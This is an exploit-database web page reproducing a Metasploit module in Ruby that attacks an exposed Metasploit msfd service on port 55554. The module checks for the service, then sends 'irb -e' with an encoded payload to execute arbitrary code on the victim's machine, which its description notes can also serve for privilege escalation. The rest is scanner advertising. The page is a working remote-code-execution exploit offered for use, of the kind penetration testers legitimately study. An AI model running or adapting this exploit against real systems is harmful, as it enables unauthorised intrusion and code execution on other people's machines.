metasploit framework msfd remote code execution (metasploit)

▸▸▸ Exploit & Vulnerability >>   remote exploit & ruby vulnerability




metasploit framework msfd remote code execution (metasploit) Code Code...
				
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'Metasploit msfd Remote Code Execution', 'Description' => %q{ Metasploit's msfd-service makes it possible to get a msfconsole-like interface over a TCP socket. If this socket is accessible on a remote interface, an attacker can execute commands on the victim's machine. If msfd is running with higher privileges than the current local user, this module can also be used for privilege escalation. In that case, port forwarding on the compromised host can be used. Code execution is achieved with the msfconsole command: irb -e 'CODE'. }, 'Author' => 'Robin Stenvi <robin.stenvi[at]gmail.com>', 'License' => BSD_LICENSE, 'Platform' => "ruby", 'Arch' => ARCH_RUBY, 'Payload' => { 'Space' => 8192, # Arbitrary limit 'BadChars' => "\x27\x0a", 'DisableNops' => true }, 'Targets' => [ [ 'Automatic', { } ] ], 'Privileged' => false, 'DisclosureDate' => 'Apr 11 2018', # Vendor notification 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(55554) ]) end def check connect data = sock.get_once if data.include?("msf") disconnect return Exploit::CheckCode::Appears end disconnect return Exploit::CheckCode::Unknown end def exploit connect sock.get_once sock.put "irb -e '" + payload.encoded + "'\n" disconnect end end

Metasploit framework msfd remote code execution (metasploit) Vulnerability / Exploit Source : Metasploit framework msfd remote code execution (metasploit)



Last Vulnerability or Exploits

Developers

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Easy integrations and simple setup help you start scanning in just some minutes
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Discover posible vulnerabilities before GO LIVE with your project
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Manage your reports without any restriction

Business Owners

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Obtain a quick overview of your website's security information
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Do an audit to find and close the high risk issues before having a real damage and increase the costs
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Verify if your developers served you a vulnerable project or not before you are paying
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Run periodically scan for vulnerabilities and get info when new issues are present.

Penetration Testers

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Quickly checking and discover issues to your clients
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Bypass your network restrictions and scan from our IP for relevant results
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Create credible proved the real risk of vulnerabilities

Everybody

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check If you have an website and want you check the security of site you can use our products
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Scan your website from any device with internet connection

Tusted by
clients

 
  Our Cyber Security Web Test application uses Cookies. By using our Cyber Security Web Test application, you are agree that we will use this information. I Accept.